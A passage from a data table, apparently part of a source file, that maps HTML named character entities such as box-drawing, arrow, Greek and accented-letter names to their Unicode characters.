cktriangleright":"▸","blank":"␣","blk12":"▒","blk14":"░","blk34":"▓","block":"█","bne":"=⃥","bnequiv":"≡⃥","bNot":"⫭","bnot":"⌐","Bopf":"𝔹","bopf":"𝕓","bot":"⊥","bottom":"⊥","bowtie":"⋈","boxbox":"⧉","boxdl":"┐","boxdL":"╕","boxDl":"╖","boxDL":"╗","boxdr":"┌","boxdR":"╒","boxDr":"╓","boxDR":"╔","boxh":"─","boxH":"═","boxhd":"┬","boxHd":"╤","boxhD":"╥","boxHD":"╦","boxhu":"┴","boxHu":"╧","boxhU":"╨","boxHU":"╩","boxminus":"⊟","boxplus":"⊞","boxtimes":"⊠","boxul":"┘","boxuL":"╛","boxUl":"╜","boxUL":"╝","boxur":"└","boxuR":"╘","boxUr":"╙","boxUR":"╚","boxv":"│","boxV":"║","boxvh":"┼","boxvH":"╪","boxVh":"╫","boxVH":"╬","boxvl":"┤","boxvL":"╡","boxVl":"╢","boxVL":"╣","boxvr":"├","boxvR":"╞","boxVr":"╟","boxVR":"╠","bprime":"‵","breve":"˘","Breve":"˘","brvbar":"¦","bscr":"𝒷","Bscr":"ℬ","bsemi":"⁏","bsim":"∽","bsime":"⋍","bsolb":"⧅","bsol":"\\\\","bsolhsub":"⟈","bull":"•","bullet":"•","bump":"≎","bumpE":"⪮","bumpe":"≏","Bumpeq":"≎","bumpeq":"≏","Cacute":"Ć","cacute":"ć","capand":"⩄","capbrcup":"⩉","capcap":"⩋","cap":"∩","Cap":"⋒","capcup":"⩇","capdot":"⩀","CapitalDifferentialD":"ⅅ","caps":"∩︀","caret":"⁁","caron":"ˇ","Cayleys":"ℭ","ccaps":"⩍","Ccaron":"Č","ccaron":"č","Ccedil":"Ç","ccedil":"ç","Ccirc":"Ĉ","ccirc":"ĉ","Cconint":"∰","ccups":"⩌","ccupssm":"⩐","Cdot":"Ċ","cdot":"ċ","cedil":"¸","Cedilla":"¸","cemptyv":"⦲","cent":"¢","centerdot":"·","CenterDot":"·","cfr":"𝔠","Cfr":"ℭ","CHcy":"Ч","chcy":"ч","check":"✓","checkmark":"✓","Chi":"Χ","chi":"χ","circ":"ˆ","circeq":"≗","circlearrowleft":"↺","circlearrowright":"↻","circledast":"⊛","circledcirc":"⊚","circleddash":"⊝","CircleDot":"⊙","circledR":"®","circledS":"Ⓢ","CircleMinus":"⊖","CirclePlus":"⊕","CircleTimes":"⊗","cir":"○","cirE":"⧃","cire":"≗","cirfnint":"⨐","cirmid":"⫯","cirscir":"⧂","ClockwiseContourIntegral":"∲","CloseCurlyDoubleQuote":"”","CloseCurlyQuote":"’","clubs":"♣","clubsuit":"♣","colon":":","Colon":"∷","Colone":"⩴","colone":"≔","coloneq":"≔","comma":",","commat":"@","comp":"∁","compfn":"∘","complement":"∁","complexes":"ℂ","cong":"≅","congdot":"⩭","Congruent":"≡","conint":"∮","Conint":"∯","ContourIntegral":"∮","copf":"𝕔","Copf":"ℂ","coprod":"∐","Coproduct":"∐","copy":"©","COPY":"©","copysr":"℗","CounterClockwiseContourIntegral":"∳","crarr":"↵","cross":"✗","Cross":"⨯","Cscr":"𝒞","cscr":"𝒸","csub":"⫏","csube":"⫑","csup":"⫐","csupe":"⫒","ctdot":"⋯","cudarrl":"⤸","cudarrr":"⤵","cuepr":"⋞","cuesc":"⋟","cularr":"↶","cularrp":"⤽","cupbrcap":"⩈","cupcap":"⩆","CupCap":"≍","cup":"∪","Cup":"⋓","cupcup":"⩊","cupdot":"⊍","cupor":"⩅","cups":"∪︀","curarr":"↷","curarrm":"⤼","curlyeqprec":"⋞","curlyeqsucc":"⋟","curlyvee":"⋎","curlywedge":"⋏","curren":"¤","curvearrowleft":"↶","curvearrowright":"↷","cuvee":"⋎","cuwed":"⋏","cwconint":"∲","cwint":"∱","cylcty":"⌭","dagger":"†","Dagger":"‡","daleth":"ℸ","darr":"↓","Darr":"↡","dArr":"⇓","dash":"‐","Dashv":"⫤","dashv":"⊣","dbkarow":"⤏","dblac":"˝","Dcaron":"Ď","dcaron":"ď","Dcy":"Д","dcy":"д","ddagger":"‡","ddarr":"⇊","DD":"ⅅ","dd":"ⅆ","DDotrahd":"⤑","ddotseq":"⩷","deg":"°","Del":"∇","Delta":"Δ","delta":"δ","demptyv":"⦱","dfisht":"⥿","Dfr":"𝔇","dfr":"𝔡","dHar":"⥥","dharl":"⇃","dharr":"⇂","DiacriticalAcute":"´","DiacriticalDot":"˙","DiacriticalDoubleAcute":"˝","DiacriticalGrave":"`","DiacriticalTilde":"˜","diam":"⋄","diamond":"⋄","Diamond":"⋄","diamondsuit":"♦","diams":"♦","die":"¨","DifferentialD":"ⅆ","digamma":"ϝ","disin":"⋲","div":"÷","divide":"÷","divideontimes":"⋇","divonx":"⋇","DJcy":"Ђ","djcy":"ђ","dlcorn":"⌞","dlcrop":"⌍","dollar":"$","Dopf":"𝔻","dopf":"𝕕","Dot":"¨","dot":"˙","DotDot":"⃜","doteq":"≐","doteqdot":"≑","DotEqual":"≐","dotminus":"∸","dotplus":"∔","dotsquare":"⊡","doublebarwedge":"⌆","DoubleContourIntegral":"∯","DoubleDot":"¨","DoubleDownArrow":"⇓","DoubleLeftArrow":"⇐","DoubleLeftRightArrow":"⇔","DoubleLeftTee":"⫤","DoubleLongLeftArrow":"⟸","DoubleLongLeftRightArrow":"⟺","DoubleLongRightArrow":"⟹","DoubleRightArrow":"⇒","DoubleRightTee":"⊨","DoubleUpArrow":"⇑","DoubleUpDownArrow":"⇕","DoubleVerticalBar":"∥","DownArrowBar":"⤓","downarrow":"↓","DownArrow":"↓","Downarrow":"⇓","DownArrowUpArrow":"⇵","DownBreve":"̑","downdownarrows":"⇊","downharpoonleft":"⇃","downharpoonright":"⇂","DownLeftRightVector":"⥐","DownLeftTeeVector":"⥞","DownLeftVectorBar":"⥖","DownLeftVector":"↽","DownRightTeeVector":"⥟","DownRightVectorBar":"⥗","DownRightVector":"⇁","DownTeeArrow":"↧","DownTee":"⊤","drbkarow":"⤐","drcorn":"⌟","drcrop":"⌌","Dscr":"𝒟","dscr":"𝒹","DScy":"Ѕ","dscy":"ѕ","dsol":"⧶","Dstrok":"Đ","dstrok":"đ","dtdot":"⋱","dtri":"▿","dtrif":"▾","duarr":"⇵","duhar":"⥯","dwangle":"⦦","DZcy":"Џ","dzcy":"џ","dzigrarr":"⟿","Eacute":"É","eacute":"é","easter":"⩮","Ecaron":"Ě","ecaron":"ě","Ecirc":"Ê","ecirc":"ê","ecir":"≖","ecolon":"≕","Ecy":"Э","ecy":"э","eDDot":"⩷","Edot":"Ė","edot":"ė","eDot":"≑","ee":"ⅇ","efDot":"≒","Efr":"𝔈","efr":"𝔢","eg":"⪚","Egrave":"È","egrave":"è","egs":"⪖","egsdot":"⪘","el":"⪙","Element":"∈","elinters":"⏧","ell":"ℓ","els":"⪕","elsdot":"⪗","Emacr":"Ē","emacr":"ē","empty":"∅","emptyset":"∅","EmptySmallSquare":"◻","emptyv":"∅","EmptyVerySmallSquare":"▫","emsp13":" ","emsp14":" ","emsp":" ","ENG":"Ŋ","eng":"ŋ","ensp":" ","Eogon":"Ę","eogon":"ę","Eopf":"𝔼","eopf":"𝕖","epar":"⋕","eparsl":"⧣","eplus":"⩱","epsi":"ε","Epsilon":"Ε","epsilon":"ε","epsiv":"ϵ","eqcirc":"≖","eqcolon":"≕","eqsim":"≂","eqslantgtr":"⪖","eqslantless":"⪕","Equal":"⩵","equals":"=","EqualTilde":"≂","equest":"≟","Equilibrium":"⇌","equiv":"≡","equivDD":"⩸","eqvparsl":"⧥","erarr":"⥱","erDot":"≓","escr":"ℯ","Escr":"ℰ","esdot":"≐","Esim":"⩳","esim":"≂","Eta":"Η","eta":"η","ETH":"Ð","eth":"ð","Euml":"Ë","euml":"ë","euro":"€","excl":"!","exist":"∃","Exists":"∃","expectation":"ℰ","exponentiale":"ⅇ","ExponentialE":"ⅇ","fallingdotseq":"≒","Fcy":"Ф","fcy":"ф","female":"♀","ffilig":"ffi","fflig":"ff","ffllig":"ffl","Ffr":"𝔉","ffr":"𝔣","filig":"fi","FilledSmallSquare":"◼","FilledVerySmallSquare":"▪","fjlig":"fj","flat":"♭","fllig":"fl","fltns":"▱","fnof":"ƒ","Fopf":"𝔽","fopf":"𝕗","forall":"∀","ForAll":"∀","fork":"⋔","forkv":"⫙","Fouriertrf":"ℱ","fpartint":"⨍","frac12":"½","frac13":"⅓","frac14":"¼","frac15":"⅕","frac16":"⅙","frac18":"⅛","frac23":"⅔","frac25":"⅖","frac34":"¾","frac35":"⅗","frac38":"⅜","frac45":"⅘","frac56":"⅚","frac58":"⅝","frac78":"⅞","frasl":"⁄","frown":"⌢","fscr":"𝒻","Fscr":"ℱ","gacute":"ǵ","Gamma":"Γ","gamma":"γ","Gammad":"Ϝ","gammad":"ϝ","gap":"⪆","Gbreve":"Ğ","gbreve":"ğ","Gcedil":"Ģ","Gcirc":"Ĝ","gcirc":"ĝ","Gcy":"Г","gcy":"г","Gdot":"Ġ","gdot":"ġ","ge":"≥","gE":"≧","gEl":"⪌","gel":"⋛","geq":"≥","geqq":"≧","geqslant":"⩾","gescc":"⪩","ges":"⩾","gesdot":"⪀","gesdoto":"⪂","gesdotol":"⪄","gesl":"⋛︀","gesles":"⪔","Gfr":"𝔊","gfr":"𝔤","gg":"≫","Gg":"⋙","ggg":"⋙","gimel":"ℷ","GJcy":"Ѓ","gjcy":"ѓ","gla":"⪥","gl":"≷","glE":"⪒","glj":"⪤","gnap":"⪊","gnapprox":"⪊","gne":"⪈","gnE":"≩","gneq":"⪈","gneqq":"≩","gnsim":"⋧","Gopf":"𝔾","gopf":"𝕘","grave":"`","GreaterEqual":"≥","GreaterEqualLess":"⋛","GreaterFullEqual":"≧","GreaterGreater":"⪢","GreaterLess":"≷","GreaterSlantEqual":"⩾","GreaterTilde":"≳","Gscr":"𝒢","gscr":"ℊ","gsim":"≳","gsime":"⪎","gsiml":"⪐","gtcc":"⪧","gtcir":"⩺","gt":">","GT":">","Gt":"≫","gtdot":"⋗","gtlPar":"⦕","gtquest":"⩼","gtrapprox":"⪆","gtrarr":"⥸","gtrdot":"⋗","gtreqless":"⋛","gtreqqless":"⪌","gtrless":"≷","gtrsim":"≳","gvertneqq":"≩︀","gvnE":"≩︀","Hacek":"ˇ","hairsp":" ","half":"½","hamilt":"ℋ","HARDcy":"Ъ","hardcy":"ъ","harrcir":"⥈","harr":"↔","hArr":"⇔","harrw":"↭","Hat":"^","hbar":"ℏ","Hcirc":"Ĥ","hcirc":"ĥ","hearts":"♥","heartsuit":"♥","hellip":"…","hercon":"⊹","hfr":"𝔥","Hfr":"ℌ","HilbertSpace":"ℋ","hksearow":"⤥","hkswarow":"⤦","hoarr":"⇿","homtht":"∻","hookleftarrow":"↩","hookrightarrow":"↪","hopf":"𝕙","Hopf":"ℍ","horbar":"―","HorizontalLine":"─","hscr":"𝒽","Hscr":"ℋ","hslash":"ℏ","Hstrok":"Ħ","hstrok":"ħ","HumpDownHump":"≎","HumpEqual":"≏","hybull":"⁃","hyphen":"‐","Iacute":"Í","iacute":"í","ic":"⁣","Icirc":"Î","icirc":"î","Icy":"И","icy":"и","Idot":"İ","IEcy":"Е","iecy":"е","iexcl":"¡","iff":"⇔","ifr":"𝔦","Ifr":"ℑ","Igrave":"Ì","igrave":"ì","ii":"ⅈ","iiiint":"⨌","iiint":"∭","iinfin":"⧜","iiota":"℩","IJlig":"IJ","ijlig":"ij","Imacr":"Ī","imacr":"ī","image":"ℑ","ImaginaryI":"ⅈ","imagline":"ℐ","imagpart":"ℑ","imath":"ı","Im":"ℑ","imof":"⊷","imped":"Ƶ","Implies":"⇒","incare":"℅","in":"∈","infin":"∞","infintie":"⧝","inodot":"ı","intcal":"⊺","int":"∫","Int":"∬","integers":"ℤ","Integral":"∫","intercal":"⊺","Intersection":"⋂","intlarhk":"⨗","intprod":"⨼","InvisibleComma":"⁣","InvisibleTimes":"⁢","IOcy":"Ё","iocy":"ё","Iogon":"Į","iogon":"į","Iopf":"𝕀","iopf":"𝕚","Iota":"Ι","iota":"ι","iprod":"⨼","iquest":"¿","iscr":"𝒾","Iscr":"ℐ","isin":"∈","isindot":"⋵","isinE":"⋹","isins":"⋴","isinsv":"⋳","isinv":"∈","it":"⁢","Itilde":"Ĩ","itilde":"ĩ","Iukcy":"І","iukcy":"і","Iuml":"Ï","iuml":"ï","Jcirc":"Ĵ","jcirc":"ĵ","Jcy":"Й","jcy":"й","Jfr":"𝔍","jfr":"𝔧","jmath":"ȷ","Jopf":"𝕁","jopf":"𝕛","Jscr":"𝒥","jscr":"𝒿","Jsercy":"Ј","jsercy":"ј","Jukcy":"Є","jukcy":"є","Kappa":"Κ","kappa":"κ","kappav":"ϰ","Kcedil":"Ķ","kcedil":"ķ","Kcy":"К","kcy":"к","Kfr":"𝔎","kfr":"𝔨","kgreen":"ĸ","KHcy":"Х","khcy":"х","KJcy":"Ќ","kjcy":"ќ","Kopf":"𝕂","kopf":"𝕜","Kscr":"𝒦","kscr":"𝓀","lAarr":"⇚","Lacute":"Ĺ","lacute":"ĺ","laemptyv":"⦴","lagran":"ℒ","Lambda":"Λ","lambda":"λ","lang":"⟨","Lang":"⟪","langd":"⦑","langle":"⟨","lap":"⪅","Laplacetrf":"ℒ","laquo":"«","larrb":"⇤","larrbfs":"⤟","larr":"←","Larr":"↞","lArr":"⇐","larrfs":"⤝","larrhk":"↩","larrlp":"↫","larrpl":"⤹","larrsim":"⥳","larrtl":"↢","latail":"⤙","lAtail":"⤛","lat":"⪫","late":"⪭","lates":"⪭︀","lbarr":"⤌","lBarr":"⤎","lbbrk":"❲","lbrace":"{","lbrack":"[","lbrke":"⦋","lbrksld":"⦏","lbrkslu":"⦍","Lcaron":"Ľ","lcaron":"ľ","Lcedil":"Ļ","lcedil":"ļ","lceil":"⌈","lcub":"{","Lcy":"Л","lcy":"л","ldca":"⤶","ldquo":"“","ldquor":"„","ldrdhar":"⥧","ldrushar":"⥋","ldsh":"↲","le":"≤","lE":"≦","LeftAngleBracket":"⟨","LeftArrowBar":"⇤","leftarrow":"←","LeftArrow":"←","Leftarrow":"⇐","LeftArrowRightArrow":"⇆","leftarrowtail":"↢","LeftCeiling":"⌈","LeftDoubleBracket":"⟦","LeftDownTeeVector":"⥡","LeftDownVectorBar":"⥙","LeftDownVector":"⇃","LeftFloor":"⌊","leftharpoondown":"↽","leftharpoonup":"↼","leftleftarrows":"⇇","leftrightarrow":"↔","LeftRightArrow":"↔","Leftrightarrow":"⇔","leftrightarrows":"⇆","leftrightharpoons":"⇋","leftrightsquigarrow":"↭","LeftRightVector":"⥎","LeftTeeArrow":"↤","LeftTee":"⊣","LeftTeeVector":"⥚","leftthreetimes":"⋋","LeftTriangleBar":"⧏","LeftTriangle":"⊲","LeftTriangleEqual":"⊴","LeftUpDownVector":"⥑","LeftUpTeeVector":"⥠","LeftUpVectorBar":"⥘","LeftUpVector":"↿","LeftVectorBar":"⥒","LeftVector":"↼","lEg":"⪋","leg":"⋚","leq":"≤","leqq":"≦","leqslant":"⩽","lescc":"⪨","les":"⩽","lesdot":"⩿","lesdoto":"⪁","lesdotor":"⪃","lesg":"⋚︀","lesges":"⪓","lessapprox":"⪅","lessdot":"⋖","lesseqgtr":"⋚","lesseqqgtr":"⪋","LessEqualGreater":"⋚","LessFullEqual":"≦","LessGreater":"≶","lessgtr":"≶","LessLess":"⪡","lesssim":"≲","LessSlantEqual":"⩽","LessTilde":"≲","lfisht":"⥼","lfloor":"⌊","Lfr":"𝔏","lfr":"𝔩","lg":"≶","lgE":"⪑","lHar":"⥢","lhard":"↽","lharu":"↼","lharul":"⥪","lhblk":"▄","LJcy":"Љ","ljcy":"љ","llarr":"⇇","ll":"≪","Ll":"⋘","llcorner":"⌞","Lleftarrow":"⇚","llhard":"⥫","lltri":"◺","Lmidot":"Ŀ","lmidot":"ŀ","lmoustache":"⎰","lmoust":"⎰","lnap":"⪉","lnapprox":"⪉","lne":"⪇","lnE":"≨","lneq":"⪇","lneqq":"≨","lnsim":"⋦","loang":"⟬","loarr":"⇽","lobrk":"⟦","longleftarrow":"⟵","LongLeftArrow":"⟵","Longleftarrow":"⟸","longleftrightarrow":"⟷","LongLeftRightArrow":"⟷","Longleftrightarrow":"⟺","longmapsto":"⟼","longrightarrow":"⟶","LongRightArrow":"⟶","Longrightarrow":"⟹","looparrowleft":"↫","looparrowright":"↬","lopar":"⦅","Lopf":"𝕃","lopf":"𝕝","loplus":"⨭","lotimes":"⨴","lowast":"∗","lowbar":"_","LowerLeftArrow":"↙","LowerRightArrow":"↘","loz":"◊","lozenge":"◊","lozf":"⧫","lpar":"(","lparlt":"⦓","lrarr":"⇆","lrcorner":"⌟","lrhar":"⇋","lrhard":"⥭","lrm":"‎","lrtri":"⊿","lsaquo":"‹","lscr":"𝓁","Lscr":"ℒ","lsh":"↰","Lsh":"↰","lsim":"≲","lsime":"⪍","lsimg":"⪏","lsqb":"[","lsquo":"‘","lsquor":"‚","Lstrok":"Ł","lstrok":"ł","ltcc":"⪦","ltcir":"⩹","lt":"<","LT":"<","Lt":"≪","ltdot":"⋖","lthree":"⋋","ltimes":"⋉","ltlarr":"⥶","ltquest":"⩻","ltri":"◃","ltrie":"⊴","ltrif":"◂","ltrPar":"⦖","lurdshar":"⥊","luruhar":"⥦","lvertneqq":"≨︀","lvnE":"≨︀","macr":"¯","male":"♂","malt":"✠","maltese":"✠","Map":"⤅","map":"↦","mapsto":"↦","mapstodown":"↧","mapstoleft":"↤","mapstoup":"↥","marker":"▮","mcomma":"⨩","Mcy":"М","mcy":"м","mdash":"—","mDDot":"∺","measuredangle":"∡","MediumSpace":" ","Mellintrf":"ℳ","Mfr":"𝔐","mfr":"𝔪","mho":"℧","micro":"µ","midast":"*","midcir":"⫰","mid":"∣","middot":"·","minusb":"⊟","minus":"−","minusd":"∸","minusdu":"⨪","MinusPlus":"∓","mlcp":"⫛","mldr":"…","mnplus":"∓","models":"⊧","Mopf":"𝕄","mopf":"𝕞","mp":"∓","mscr":"𝓂","Mscr":"ℳ","mstpos":"∾","Mu":"Μ","mu":"μ","multimap":"⊸","mumap":"⊸","nabla":"∇","Nacute":"Ń","nacute":"ń","nang":"∠⃒","nap":"≉","napE":"⩰̸","napid":"≋̸","napos":"ʼn","napprox":"≉","natural":"♮","naturals":"ℕ","natur":"♮","nbsp":" ","nbump":"≎̸","nbumpe":"≏̸","ncap":"⩃","Ncaron":"Ň","ncaron":"ň","Ncedil":"Ņ","ncedil":"ņ","ncong":"≇","ncongdot":"⩭̸","ncup":"⩂","Ncy":"Н","ncy":"н","ndash":"–","nearhk":"⤤","nearr":"↗","neArr":"⇗","nearrow":"↗","ne":"≠","nedot":"≐̸","NegativeMediumSpace":"​","NegativeThickSpace":"​","NegativeThinSpace":"​","NegativeVeryThinSpace":"​","nequiv":"≢","nesear":"⤨","nesim":"≂̸","NestedGreaterGreater":"≫","NestedLessLess":"≪","NewLine":"\\n","nexist":"∄","nexists":"∄","Nfr":"𝔑","nfr":"𝔫","ngE":"≧̸","nge":"≱","ngeq":"≱","ngeqq":"≧̸","ngeqslant":"⩾̸","nges":"⩾̸","nGg":"⋙̸","ngsim":"≵","nGt":"≫⃒","ngt":"≯","ngtr":"≯","nGtv":"≫̸","nharr":"↮","nhArr":"⇎","nhpar":"⫲","ni":"∋","nis":"⋼","nisd":"⋺","niv":"∋","NJcy":"Њ","njcy":"њ","nlarr":"↚","nlArr":"⇍","nldr":"‥","nlE":"≦̸","nle":"≰","nleftarrow":"↚","nLeftarrow":"⇍","nleftrightarrow":"↮","nLeftrightarrow":"⇎","nleq":"≰","nleqq":"≦̸","nleqslant":"⩽̸","nles":"⩽̸","nless":"≮","nLl":"⋘̸","nlsim":"≴","nLt":"≪⃒","nlt":"≮","nltri":"⋪","nltrie":"⋬","nLtv":"≪̸","nmid":"∤","NoBreak":"⁠","NonBreakingSpace":" ","nopf":"𝕟","Nopf":"ℕ","Not":"⫬","not":"¬","NotCongruent":"≢","NotCupCap":"≭","NotDoubleVerticalBar":"∦","NotElement":"∉","NotEqual":"≠","NotEqualTilde":"≂̸","NotExists":"∄","NotGreater":"≯","NotGreaterEqual":"≱","NotGreaterFullEqual":"≧̸","NotGreaterGreater":"≫̸","NotGreaterLess":"≹","NotGreaterSlantEqual":"⩾̸","NotGreaterTilde":"≵","NotHumpDownHump":"≎̸","NotHumpEqual":"≏̸","notin":"∉","notindot":"⋵̸","notinE":"⋹̸","notinva":"∉","notinvb":"⋷","notinvc":"⋶","NotLeftTriangleBar":"⧏̸","NotLeftTriangle":"⋪","NotLeftTriangleEqual":"⋬","NotLess":"≮","NotLessEqual":"≰","NotLessGreater":"≸","NotLessLess":"≪̸","NotLessSlantEqual":"⩽̸","NotLessTilde":"≴","NotNestedGreaterGreater":"⪢̸","NotNestedLessLess":"⪡̸","notni":"∌","notniva":"∌","notnivb":"⋾","notnivc":"⋽","NotPrecedes":"⊀","NotPrecedesEqual":"⪯̸","NotPrecedesSlantEqual":"⋠","NotReverseElement":"∌","NotRightTriangleBar":"⧐̸","NotRightTriangle":"⋫","NotRightTriangleEqual":"⋭","NotSquareSubset":"⊏̸","NotSquareSubsetEqual":"⋢","NotSquareSuperset":"⊐̸","NotSquareSupersetEqual":"⋣","NotSubset":"⊂⃒","NotSubsetEqual":"⊈","NotSucceeds":"⊁","NotSucceedsEqual":"⪰̸","NotSucceedsSlantEqual":"⋡","NotSucceedsTilde":"≿̸","NotSuperset":"⊃⃒","NotSupersetEqual":"⊉","NotTilde":"≁","NotTildeEqual":"≄","NotTildeFullEqual":"≇","NotTildeTilde":"≉","NotVerticalBar":"∤","nparallel":"∦","npar":"∦","nparsl":"⫽⃥","npart":"∂̸","npolint":"⨔","npr":"⊀","nprcue":"⋠","nprec":"⊀","npreceq":"⪯̸","npre":"⪯̸","nrarrc":"⤳̸","nrarr":"↛","nrArr":"⇏","nrarrw":"↝̸","nrightarrow":"↛","nRightarrow":"⇏","nrtri":"⋫","nrtrie":"⋭","nsc":"⊁","nsccue":"⋡","nsce":"⪰̸","Nscr":"𝒩","nscr":"𝓃","nshortmid":"∤","nshortparallel":"∦","nsim":"≁","nsime":"≄","nsimeq":"≄","nsmid":"∤","nspar":"∦","nsqsube":"⋢","nsqsupe":"⋣","nsub":"⊄","nsubE":"⫅̸","nsube":"⊈","nsubset":"⊂⃒","nsubseteq":"⊈","nsubseteqq":"⫅̸","nsucc":"⊁","nsucceq":"⪰̸","nsup":"⊅","nsupE":"⫆̸","nsupe":"⊉","nsupset":"⊃⃒","nsupseteq":"⊉","nsupseteqq":"⫆̸","ntgl":"≹","Ntilde":"Ñ","ntilde":"ñ","ntlg":"≸","ntriangleleft":"⋪","ntrianglelefteq":"⋬","ntriangleright":"⋫","ntrianglerighteq":"⋭","Nu":"Ν","nu":"ν","num":"#","numero":"№","numsp":" ","nvap":"≍⃒","nvdash":"⊬","nvDash":"⊭","nVdash":"⊮","nVDash":"⊯","nvge":"≥⃒","nvgt":">⃒","nvHarr":"⤄","nvinfin":"⧞","nvlArr":"⤂","nvle":"≤⃒","nvlt":"<⃒","nvltrie":"⊴⃒","nvrArr":"⤃","nvrtrie":"⊵⃒","nvsim":"∼⃒","nwarhk":"⤣","nwarr":"↖","nwArr":"⇖","nwarrow":"↖","nwnear":"⤧","Oacute":"Ó","oacute":"ó","oast":"⊛","Ocirc":"Ô","ocirc":"ô","ocir":"⊚","Ocy":"О","ocy":"о","odash":"⊝","Odblac":"Ő","odblac":"ő","odiv":"⨸","odot":"⊙","odsold":"⦼","OElig":"Œ","oelig":"œ","ofcir":"⦿","Ofr":"𝔒","ofr":"𝔬","ogon":"˛","Ograve":"Ò","ograve":"ò","ogt":"⧁","ohbar":"⦵","ohm":"Ω","oint":"∮","olarr":"↺","olcir":"⦾","olcross":"⦻","oline":"‾","olt":"⧀","Omacr":"Ō","omacr":"ō","Omega":"Ω","omega":"ω","Omicron":"Ο","omicron":"ο","omid":"⦶","ominus":"⊖","Oopf":"𝕆","oopf":"𝕠","opar":"⦷","OpenCurlyDoubleQuote":"“","OpenCurlyQuote":"‘","operp":"⦹","oplus":"⊕","orarr":"↻","Or":"⩔","or":"∨","ord":"⩝","order":"ℴ","orderof":"ℴ","ordf":"ª","ordm":"º","origof":"⊶","oror":"⩖","orslope":"⩗","orv":"⩛","oS":"Ⓢ","Oscr":"𝒪","oscr":"ℴ","Oslash":"Ø","oslash":"ø","osol":"⊘","Otilde":"Õ","otilde":"õ","otimesas":"⨶","Otimes":"⨷","otimes":"⊗","Ouml":"Ö","ouml":"ö","ovbar":"⌽","OverBar":"‾","OverBrace":"⏞","OverBracket":"⎴","OverParenthesis":"⏜","para":"¶","parallel":"∥","par":"∥","parsim":"⫳","parsl":"⫽","part":"∂","PartialD":"∂","Pcy":"П","pcy":"п","percnt":"%","period":".","permil":"‰","perp":"⊥","pertenk":"‱","Pfr":"𝔓","pfr":"𝔭","Phi":"Φ","phi":"φ","phiv":"ϕ","phmmat":"ℳ","phone":"☎","Pi":"Π","pi":"π","pitchfork":"⋔","piv":"ϖ","planck":"ℏ","planckh":"ℎ","plankv":"ℏ","plusacir":"⨣","plusb":"⊞","pluscir":"⨢","plus":"+","plusdo":"∔","plusdu":"⨥","pluse":"⩲","PlusMinus":"±","plusmn":"±","plussim":"⨦","plustwo":"⨧","pm":"±","Poincareplane":"ℌ","pointint":"⨕","popf":"𝕡","Popf":"ℙ","pound":"£","prap":"⪷","Pr":"⪻","pr":"≺","prcue":"≼","precapprox":"⪷","prec":"≺","preccurlyeq":"≼","Precedes":"≺","PrecedesEqual":"⪯","PrecedesSlantEqual":"≼","PrecedesTilde":"≾","preceq":"⪯","precnapprox":"⪹","precneqq":"⪵","precnsim":"⋨","pre":"⪯","prE":"⪳","precsim":"≾","prime":"′","Prime":"″","primes":"ℙ","prnap":"⪹","prnE":"⪵","prnsim":"⋨","prod":"∏","Product":"∏","profalar":"⌮","profline":"⌒","profsurf":"⌓","prop":"∝","Proportional":"∝","Proportion":"∷","propto":"∝","prsim":"≾","prurel":"⊰","Pscr":"𝒫","pscr":"𝓅","Psi":"Ψ","psi":"ψ","puncsp":" ","Qfr":"𝔔","qfr":"𝔮","qint":"⨌","qopf":"𝕢","Qopf":"ℚ","qprime":"⁗","Qscr":"𝒬","qscr":"𝓆","quaternions":"ℍ","quatint":"⨖","quest":"?","questeq":"≟","quot":"\\"","QUOT":"\\"","rAarr":"⇛","race":"∽̱","Racute":"Ŕ","racute":"ŕ","radic":"√","raemptyv":"⦳","rang":"⟩","Rang":"⟫","rangd":"⦒","range":"⦥","rangle":"⟩","raquo":"»","rarrap":"⥵","rarrb":"⇥","rarrbfs":"⤠","rarrc":"⤳","rarr":"→","Rarr":"↠","rArr":"⇒","rarrfs":"⤞","rarrhk":"↪","rarrlp":"↬","rarrpl":"⥅","rarrsim":"⥴","Rarrtl":"⤖","rarrtl":"↣","rarrw":"↝","ratail":"⤚","rAtail":"⤜","ratio":"∶","rationals":"ℚ","rbarr":"⤍","rBarr":"⤏","RBarr":"⤐","rbbrk":"❳","rbrace":"}","rbrack":"]","rbrke":"⦌","rbrksld":"⦎","rbrkslu":"⦐","Rcaron":"Ř","rcaron":"ř","Rcedil":"Ŗ","rcedil":"ŗ","rceil":"⌉","rcub":"}","Rcy":"Р","rcy":"р","rdca":"⤷","rdldhar":"⥩","rdquo":"”","rdquor":"”","rdsh":"↳","real":"ℜ","realine":"ℛ","realpart":"ℜ","reals":"ℝ","Re":"ℜ","rect":"▭","reg":"®","REG":"®","ReverseElement":"∋","ReverseEquilibrium":"⇋","ReverseUpEquilibrium":"⥯","rfisht":"⥽","rfloor":"⌋","rfr":"𝔯","Rfr":"ℜ","rHar":"⥤","rhard":"⇁","rharu":"⇀","rharul":"⥬","Rho":"Ρ","rho":"ρ","rhov":"ϱ","RightAngleBracket":"⟩","RightArrowBar":"⇥","rightarrow":"→","RightArrow":"→","Rightarrow":"⇒","RightArrowLeftArrow":"⇄","rightarrowtail":"↣","RightCeiling":"⌉","RightDoubleBracket":"⟧","RightDownTeeVector":"⥝","RightDownVectorBar":"⥕","RightDownVector":"⇂","RightFloor":"⌋","rightharpoondown":"⇁","rightharpoonup":"⇀","rightleftarrows":"⇄","rightleftharpoons":"⇌","rightrightarrows":"⇉","rightsquigarrow":"↝","RightTeeArrow":"↦","RightTee":"⊢","RightTeeVector":"⥛","rightthreetimes":"⋌","RightTriangleBar":"⧐","RightTriangle":"⊳","RightTriangleEqual":"⊵","RightUpDownVector":"⥏","RightUpTeeVector":"⥜","RightUpVectorBar":"⥔","RightUpVector":"↾","RightVectorBar":"⥓","RightVector":"⇀","ring":"˚","risingdotseq":"≓","rlarr":"⇄","rlhar":"⇌","rlm":"‏","rmoustache":"⎱","rmoust":"⎱","rnmid":"⫮","roang":"⟭","roarr":"⇾","robrk":"⟧","ropar":"⦆","ropf":"𝕣","Ropf":"ℝ","roplus":"⨮","rotimes":"⨵","RoundImplies":"⥰","rpar":")","rpargt":"⦔","rppolint":"⨒","rrarr":"⇉","Rrightarrow":"⇛","rsaquo":"›","rscr":"𝓇","Rscr":"ℛ","rsh":"↱","Rsh":"↱","rsqb":"]","rsquo":"’","rsquor":"’","rthree":"⋌","rtimes":"⋊","rtri":"▹","rtrie":"⊵","rtrif":"▸","rtriltri":"⧎","RuleDelayed":"⧴","ruluhar":"⥨","rx":"℞","Sacute":"Ś","sacute":"ś","sbquo":"‚","scap":"⪸","Scaron":"Š","scaron":"š","Sc":"⪼","sc":"≻","sccue":"≽","sce":"⪰","scE":"⪴","Scedil":"Ş","scedil":"ş","Scirc":"Ŝ","scirc":"ŝ","scnap":"⪺","scnE":"